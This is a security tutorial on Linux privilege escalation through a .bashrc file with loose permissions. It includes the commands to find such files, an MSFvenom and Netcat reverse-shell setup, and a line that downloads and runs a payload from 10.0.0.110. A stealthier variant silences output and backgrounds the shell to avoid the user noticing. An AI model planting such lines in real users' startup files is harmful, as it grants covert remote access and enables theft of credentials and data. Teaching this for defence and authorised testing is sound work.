Guides, Linux, Privilege Escalation

Linux Privilege Escalation – Exploiting Bashrc

Introduction

The .bashrc file is a script used in Linux-based operating systems that is executed whenever a user logs in. It contains important configurations for the terminal session such as the coloring, aliases, history length, or any commands that need to be executed at login.

It is a hidden file as it begins with a dot and it is normally located in the user’s home directory and like other files stored in this location, by default, it can be read by all users although it can only be edited by the owner or super users. If improper permissions have been applied to this file, it could allow potential attackers to add malicious commands that will be run when the user logs in.

Identifying Bashrc Permissions

In order to verify whether the .bashrc file has improper permissions applied to it, the following command can be used:

ls -la /root/.bashrc;ls -la /home/*/.bashrc

or

find / -name .bashrc -printf "file="%p/"perm="%M"user="%u/"group="%g/\\n  2> /dev/null

The example above shows how the .bashrc file for the “stef” user can be read, modified, and executed by all users (777 permissions). This means that additional commands can be added to it and they will be executed when stef logs in.

Automated enumeration scripts such as LinPEAS can also help identify improper permissions applied to the .bashrc file:

Exploiting Bashrc

As an example, a command could be added to initiate a reverse shell connecting to the Kali host when the user logs in, therefore granting remote access as that user.

The first step is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case, the Linux TCP reverse shell
  • LHOST to specify the localhost IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format for the shell, which in this case will be ELF

A Python web server can then be setup to host the shell, so that the victim machine can download it:

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

The last step is to add an extra line to the .bashrc file in order to download the shell and save it to a folder accessible by all users, assign execute permissions to it and execute it:

wget http://10.0.0.110/shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell

Back on the target machine, an SSH connection can be established to simulate a user’s login:

From the output above, the terminal shows how the shell is being downloaded by Wget and saved to /tmp/shell, its permissions are amended to allow for execution and it is then executed.

The Kali host then shows that a request was received on the Python web server to download the file, and once executed a call back was received on the Netcat listener, therefore granting a reverse shell as the stef user

This is a rather noisy way of getting access to the target machine, as it displays output of it’s actions on the terminal and will render the terminal no longer functional for the end user. There are more elegant ways to launch a reverse shell without raising any suspicions by the end user, for example by redirecting the command output to /dev/null and backgrounding the reverse shell as soon as it is established:

wget http://10.0.0.110/shell -O /tmp/shell 2>/dev/null && chmod +x /tmp/shell 2>/dev/null && /tmp/shell 2>/dev/null &

Since this allows pretty much any command to be executed as the victim user, this opens a world of possibilities to gain remote control of the host, it could be used to create a SUID binary of /bin/bash or view user hashes (if executing commands as root), access files restricted to the user such as command history, BASH profile and other sensitive information.

Conclusion

Bashrc, like many other features of Linux, was invented to make the life of end users and system administrators easier, although it is crucial to keep in mind that when running non-trusted commands or code on a machine, it is no longer necessarily your machine. Therefore, it should only ever be editable by its owner or super users.